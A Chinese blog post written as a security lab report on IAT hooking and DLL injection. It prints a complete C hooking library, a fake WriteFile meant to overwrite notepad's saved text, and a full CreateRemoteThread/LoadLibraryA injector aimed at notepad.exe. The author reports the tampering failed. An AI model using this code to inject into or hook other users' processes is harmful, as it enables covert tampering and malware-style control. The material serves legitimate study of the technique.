• 主页
  • 相册
  • 随笔
  • 目录
  • 存档
Total 244
Search AboutMe

  • 主页
  • 相册
  • 随笔
  • 目录
  • 存档

IATHook注入与劫持实验

2020-01-12

1. 实验目的

  • 了解Hook技术的基本原理
  • 利用IATHook篡改notepad输入内容(WriteFile函数)

2. 实验原理

导入地址表(IAT )

全称Import Address Table。由于导入函数就是被程序调用但其执行代码又不在程序中的函数,这些函数的代码位于一个或者多个DLL 中.当PE 文件被装入内存的时候,Windows 装载器才将DLL 装入,并将调用导入函数的指令和函数实际所处的地址联系起来(动态连接),这操作就需要导入表完成.其中导入地址表就指示函数实际地址

HOOK

在计算机编程中,术语HOOK涵盖了一系列的技术,用于通过拦截软件组件之间传递的函数调用或消息或事件来改变或增强操作系统,应用程序或其他软件组件的行为。处理此类截获的函数调用,事件或消息的代码称为钩子

IAT Hook

操纵导入地址表将API函数重定向到所需的存储器地址。该地址可以是另一个API函数,恶意的shellcode或程序代码的另一部分

  • 进程内存中查找IAT表的地址:在位于PE文件的可选头部内的数据目录中

DLL注入

DLL注入时指向运行中的其他进程强制插入特定的DLL文件。从技术细节来说,DLL注入命令其他进程自行调用LoadLibrary() API,加载用户指定的DLL文件。

DLL被加载到进程后会自动运行DllMain()函数,用户可以把想执行的代码放到DllMain()函数,每当加载DLL时,添加的代码就会自然得到执行。


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch( fdwReason )
{
case DLL_PROCESS_ATTACH :
hook();
break;

case DLL_PROCESS_DETACH :
unhook();
break;
}

return TRUE;
}

WriteFile

Writes data to the specified file or input/output (I/O) device


Requirements

Target PlatformWindows
Headerfileapi.h (include Windows.h)
LibraryKernel32.lib
DLLKernel32.dll
1
2
3
4
5
6
7
BOOL WriteFile(
HANDLE hFile, // 文件句柄
LPCVOID lpBuffer, // 要写入的数据
DWORD nNumberOfBytesToWrite, // 要写入的字节数
LPDWORD lpNumberOfBytesWritten, // 实际写入的字节数
LPOVERLAPPED lpOverlapped // OVERLAPPED 结构,一般设定为 NULL
);

iat_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
#ifdef _RING0
#include <ntddk.h>
#include <ntimage.h>
#else
#include <windows.h>
#include <stdlib.h>
#endif //#ifdef _RING0


//////////////////////////////////////////////////////////////////////////

typedef struct _IATHOOK_BLOCK
{
void* pOrigin;

void* pImageBase;
const char* pszImportDllName;
const char* pszRoutineName;

void* pFake;

}IATHOOK_BLOCK;


//////////////////////////////////////////////////////////////////////////

void* _IATHook_Alloc(__in ULONG nNeedSize)
{
void* pMemory = NULL;

do
{
if (0 == nNeedSize)
{
break;
}

#ifdef _RING0
pMemory = ExAllocatePoolWithTag(NonPagedPool, nNeedSize, 'iath');

#else
pMemory = malloc(nNeedSize);
#endif // #ifdef _RING0

if (NULL == pMemory)
{
break;
}

RtlZeroMemory(pMemory, nNeedSize);

} while (FALSE);

return pMemory;
}


ULONG _IATHook_Free(__in void* pMemory)
{

do
{
if (NULL == pMemory)
{
break;
}

#ifdef _RING0
ExFreePool(pMemory);

#else
free(pMemory);
#endif // #ifdef _RING0

pMemory = NULL;

} while (FALSE);

return 0;
}

//////////////////////////////////////////////////////////////////////////
#ifdef _RING0


#ifndef LOWORD
#define LOWORD(l) ((USHORT)((ULONG_PTR)(l) & 0xffff))
#endif // #ifndef LOWORD


void* _IATHook_InterlockedExchangePointer(__in void* pAddress, __in void* pValue)
{
void* pWriteableAddr = NULL;
PMDL pNewMDL = NULL;
void* pOld = NULL;

do
{
if ((NULL == pAddress))
{
break;
}

if (!NT_SUCCESS(MmIsAddressValid(pAddress)))
{
break;
}

pNewMDL = IoAllocateMdl(pAddress, sizeof(void*), FALSE, FALSE, NULL);
if (pNewMDL == NULL)
{
break;
}

__try
{
MmProbeAndLockPages(pNewMDL, KernelMode, IoWriteAccess);

pNewMDL->MdlFlags |= MDL_MAPPING_CAN_FAIL;

pWriteableAddr = MmMapLockedPagesSpecifyCache(
pNewMDL,
KernelMode,
MmNonCached,
NULL,
FALSE,
HighPagePriority
);

//pWriteableAddr = MmMapLockedPages(pNewMDL, KernelMode);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
break;
}

if (pWriteableAddr == NULL)
{
MmUnlockPages(pNewMDL);
IoFreeMdl(pNewMDL);

break;
}

pOld = InterlockedExchangePointer(pWriteableAddr, pValue);

MmUnmapLockedPages(pWriteableAddr, pNewMDL);
MmUnlockPages(pNewMDL);
IoFreeMdl(pNewMDL);

} while (FALSE);

return pOld;
}


//////////////////////////////////////////////////////////////////////////
#else

void* _IATHook_InterlockedExchangePointer(__in void* pAddress, __in void* pValue)
{
void* pWriteableAddr = NULL;
void* nOldValue = NULL;
ULONG nOldProtect = 0;
BOOL bFlag = FALSE;

do
{
if ((NULL == pAddress))
{
break;
}

bFlag = VirtualProtect(pAddress, sizeof(void*), PAGE_EXECUTE_READWRITE, &nOldProtect);
if (!bFlag)
{
break;
}
pWriteableAddr = pAddress;

nOldValue = InterlockedExchangePointer((PVOID volatile *)pWriteableAddr, pValue);

VirtualProtect(pAddress, sizeof(void*), nOldProtect, &nOldProtect);

} while (FALSE);

return nOldValue;
}

#endif // #ifdef _RING0


LONG _IATHook_Single
(
__in IATHOOK_BLOCK* pHookBlock,
__in IMAGE_IMPORT_DESCRIPTOR* pImportDescriptor,
__in BOOLEAN bHook
)
{
LONG nFinalRet = -1;

IMAGE_THUNK_DATA* pOriginThunk = NULL;
IMAGE_THUNK_DATA* pRealThunk = NULL;

IMAGE_IMPORT_BY_NAME* pImportByName = NULL;

do
{
pOriginThunk = (IMAGE_THUNK_DATA*)((UCHAR*)pHookBlock->pImageBase + pImportDescriptor->OriginalFirstThunk);
pRealThunk = (IMAGE_THUNK_DATA*)((UCHAR*)pHookBlock->pImageBase + pImportDescriptor->FirstThunk);

for (; 0 != pOriginThunk->u1.Function; pOriginThunk++, pRealThunk++)
{
if (IMAGE_ORDINAL_FLAG == (pOriginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG))
{
if ((USHORT)pHookBlock->pszRoutineName == LOWORD(pOriginThunk->u1.Ordinal))
{
if (bHook)
{
pHookBlock->pOrigin = (void*)pRealThunk->u1.Function;
_IATHook_InterlockedExchangePointer((void**)&pRealThunk->u1.Function, pHookBlock->pFake);
}
else
{
_IATHook_InterlockedExchangePointer((void**)&pRealThunk->u1.Function, pHookBlock->pOrigin);
}

nFinalRet = 0;
break;
}
}
else
{
pImportByName = (IMAGE_IMPORT_BY_NAME*)((char*)pHookBlock->pImageBase + pOriginThunk->u1.AddressOfData);

if (0 == _stricmp(pImportByName->Name, pHookBlock->pszRoutineName))
{
if (bHook)
{
pHookBlock->pOrigin = (void*)pRealThunk->u1.Function;
_IATHook_InterlockedExchangePointer((void**)&pRealThunk->u1.Function, pHookBlock->pFake);
}
else
{
_IATHook_InterlockedExchangePointer((void**)&pRealThunk->u1.Function, pHookBlock->pOrigin);
}

nFinalRet = 0;

break;
}
}

}

} while (FALSE);

return nFinalRet;
}


LONG _IATHook_Internal(__in IATHOOK_BLOCK* pHookBlock, __in BOOLEAN bHook)
{
LONG nFinalRet = -1;
LONG nRet = -1;
IMAGE_DOS_HEADER* pDosHeader = NULL;
IMAGE_NT_HEADERS* pNTHeaders = NULL;

IMAGE_IMPORT_DESCRIPTOR* pImportDescriptor = NULL;
char* pszImportDllName = NULL;


do
{
if (NULL == pHookBlock)
{
break;
}

pDosHeader = (IMAGE_DOS_HEADER*)pHookBlock->pImageBase;
if (IMAGE_DOS_SIGNATURE != pDosHeader->e_magic)
{
break;
}

pNTHeaders = (IMAGE_NT_HEADERS*)((UCHAR*)pHookBlock->pImageBase + pDosHeader->e_lfanew);
if (IMAGE_NT_SIGNATURE != pNTHeaders->Signature)
{
break;
}

if (0 == pNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)
{
break;
}

if (0 == pNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size)
{
break;
}

pImportDescriptor = (IMAGE_IMPORT_DESCRIPTOR*)((UCHAR*)pHookBlock->pImageBase + pNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);


// Find pszRoutineName in every Import descriptor
nFinalRet = -1;

for (; (pImportDescriptor->Name != 0); pImportDescriptor++)
{
pszImportDllName = (char*)pHookBlock->pImageBase + pImportDescriptor->Name;

if (NULL != pHookBlock->pszImportDllName)
{
if (0 != _stricmp(pszImportDllName, pHookBlock->pszImportDllName))
{
continue;
}
}

nRet = _IATHook_Single(
pHookBlock,
pImportDescriptor,
bHook
);

if (0 == nRet)
{
nFinalRet = 0;
break;
}
}

} while (FALSE);

return nFinalRet;
}

LONG IATHook
(
__in void* pImageBase,
__in_opt const char* pszImportDllName,
__in const char* pszRoutineName,
__in void* pFakeRoutine,
__out HANDLE* Param_phHook
)
{
LONG nFinalRet = -1;
IATHOOK_BLOCK* pHookBlock = NULL;


do
{
if ((NULL == pImageBase) || (NULL == pszRoutineName) || (NULL == pFakeRoutine))
{
break;
}

pHookBlock = (IATHOOK_BLOCK*)_IATHook_Alloc(sizeof(IATHOOK_BLOCK));
if (NULL == pHookBlock)
{
break;
}
RtlZeroMemory(pHookBlock, sizeof(IATHOOK_BLOCK));

pHookBlock->pImageBase = pImageBase;
pHookBlock->pszImportDllName = pszImportDllName;
pHookBlock->pszRoutineName = pszRoutineName;
pHookBlock->pFake = pFakeRoutine;

__try
{
nFinalRet = _IATHook_Internal(pHookBlock, TRUE);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
nFinalRet = -1;
}

} while (FALSE);

if (0 != nFinalRet)
{
if (NULL != pHookBlock)
{
_IATHook_Free(pHookBlock);
pHookBlock = NULL;
}
}

if (NULL != Param_phHook)
{
*Param_phHook = pHookBlock;
}

return nFinalRet;
}

LONG UnIATHook(__in HANDLE hHook)
{
IATHOOK_BLOCK* pHookBlock = (IATHOOK_BLOCK*)hHook;
LONG nFinalRet = -1;

do
{
if (NULL == pHookBlock)
{
break;
}

__try
{
nFinalRet = _IATHook_Internal(pHookBlock, FALSE);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
nFinalRet = -1;
}

} while (FALSE);

if (NULL != pHookBlock)
{
_IATHook_Free(pHookBlock);
pHookBlock = NULL;
}

return nFinalRet;
}

void* GetIATHookOrign(__in HANDLE hHook)
{
IATHOOK_BLOCK* pHookBlock = (IATHOOK_BLOCK*)hHook;
void* pOrigin = NULL;

do
{
if (NULL == pHookBlock)
{
break;
}

pOrigin = pHookBlock->pOrigin;

} while (FALSE);

return pOrigin;
}

3. 实验内容

4. 0. messagebox

  • 构造FakeMessageBox

    1
    2
    3
    4
    LPFN_MessageBoxA fnOrigin = (LPFN_MessageBoxA)GetIATHookOrign(g_hHook_MessageBoxA);

    char x[] = "Hack";
    return fnOrigin(hWnd, x, lpCaption, uType);
  • Main

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    int __cdecl wmain(int nArgc, WCHAR** Argv)
    {
    do
    {
    UNREFERENCED_PARAMETER(nArgc);
    UNREFERENCED_PARAMETER(Argv);

    IATHook(
    GetModuleHandleW(NULL) ,
    "user32.dll" ,
    "MessageBoxA" ,
    Fake_MessageBoxA ,
    &g_hHook_MessageBoxA
    );

    MessageBoxA(NULL , "test" , "caption" , 0);

    UnIATHook( g_hHook_MessageBoxA);

    MessageBoxA(NULL , "test" , "caption" , 0);

    } while (FALSE);

    return 0;
    }
  • 结果

    • 先弹框Hack,尔后弹框test

5. 1.notepad

  • 构造FakeWriteFile

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    bool __stdcall FakeWriteFile(
    HANDLE hFile,
    LPCVOID lpBuffer,
    DWORD nNumberOfBytesToWrite,
    LPDWORD lpNumberOfBytesWritten,
    LPOVERLAPPED lpOverlapped
    )
    {
    LPFN_WriteFile fnOrigin = (LPFN_WriteFile)GetIATHookOrign(g_hHook_WriteFile);

    char DataBuffer[] = "Hacker Hacked";
    DWORD dwBytesToWrite = (DWORD)strlen(DataBuffer);
    DWORD dwBytesWritten = 0;

    return fnOrigin(hFile, DataBuffer, dwBytesToWrite, &dwBytesWritten, lpOverlapped);
    }
  • 构建DllMain

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD dwReason, LPVOID lpvRevered) {
    switch (dwReason) {
    case DLL_PROCESS_ATTACH:
    IATHook(
    GetModuleHandle(NULL),
    "kernel32.dll",
    "WriteFile",
    FakeWriteFile,
    &g_hHook_WriteFile
    );
    break;
    case DLL_PROCESS_DETACH:
    UnIATHook(g_hHook_WriteFile);
    break;
    }
    return TRUE;
    }
  • iat_hook

    • 如前
  • DllInject,注意需要在VS中用x64运行

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    #include <windows.h>
    #include <stdio.h>
    #include <tlhelp32.h>

    int main() {
    char szDllName[] = "..\\..\\Hack.dll";
    char szExeName[] = "notepad.exe";

    // 读取进程列表,获得目标进程的PID
    PROCESSENTRY32 ProcessEntry = {};
    ProcessEntry.dwSize = sizeof(PROCESSENTRY32);
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    bool bRet = Process32First(hProcessSnap, &ProcessEntry);
    DWORD dwProcessId = 0;
    while (bRet) {
    if (strcmp(szExeName, ProcessEntry.szExeFile) == 0) {
    dwProcessId = ProcessEntry.th32ProcessID;
    break;
    }
    bRet = Process32Next(hProcessSnap, &ProcessEntry);
    }
    if (0 == dwProcessId) {
    printf("找不到进程\n");
    return 1;
    }

    // 利用PID获得进程句柄
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (0 == hProcess) {
    printf("无法打开进程\n");
    return 1;
    }

    // 在进程当中去分配空间
    size_t length = strlen(szDllName) + 1;
    char* pszDllFile = (char*)VirtualAllocEx(hProcess, NULL, length, MEM_COMMIT, PAGE_READWRITE);
    if (0 == pszDllFile) {
    printf("远程空间分配失败\n");
    return 1;
    }

    // 将函数的参数写到进程空间中去
    if (!WriteProcessMemory(hProcess, (PVOID)pszDllFile, (PVOID)szDllName, length, NULL)) {
    printf("远程空间写入失败\n");
    return 1;
    }

    // 获取LoadLibraryA函数
    PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32"), "LoadLibraryA");
    if (0 == pfnThreadRtn) {
    printf("LoadLibraryA函数地址获取失败\n");
    return 1;
    }

    // 在目标进程中根据函数地址和参数创建进程
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, (PVOID)pszDllFile, 0, NULL);
    if (0 == hThread) {
    printf("远程线程创建失败\n");
    return 1;
    }

    // 等待进程执行完毕
    WaitForSingleObject(hThread, INFINITE);
    printf("远程线程执行完毕!\n");

    VirtualFreeEx(hProcess, (PVOID)pszDllFile, 0, MEM_RELEASE);
    CloseHandle(hThread);
    CloseHandle(hProcess);

    return 0;
    }
  • 结果

    • 用winDBG打开notepad.exe,运行DllInject,可以看到成功实现了DLL注入

    • 保存的txt内容并没有变成Hacker Hacked,猜测原因是ASLR(Address space layout randomization, 地址空间配置随机加载),使得并没有获得目标真实的LoadLibraryA

      it seems that that notepad.exe uses ASLR and your test program does not. With that the address of LoadLibraryA would be different in each process, and your injection code fails.

      The situation is that you are getting the addres of LoadLibraryA in the injector address space and assume that it is the same that in the target process. That would be usually right, but ASLR is designed specifically to make that assumption fail. And so it does… the thread you create get a -most likely- invalid address, and fails.

6. 参考资料

IAT Hook 技术分析 - 云+社区 - 腾讯云

DLL注入 - dlive - 博客园

WriteFile function (fileapi.h) - Win32 apps

C/C++ 文件操作之CreateFile函数、ReadFile函数和WriteFile函数的用法

  • sec
  • Security
  • Software Security
Python厨书笔记-5
实验:四元式编译器实现
© 2024 何决云 载入天数...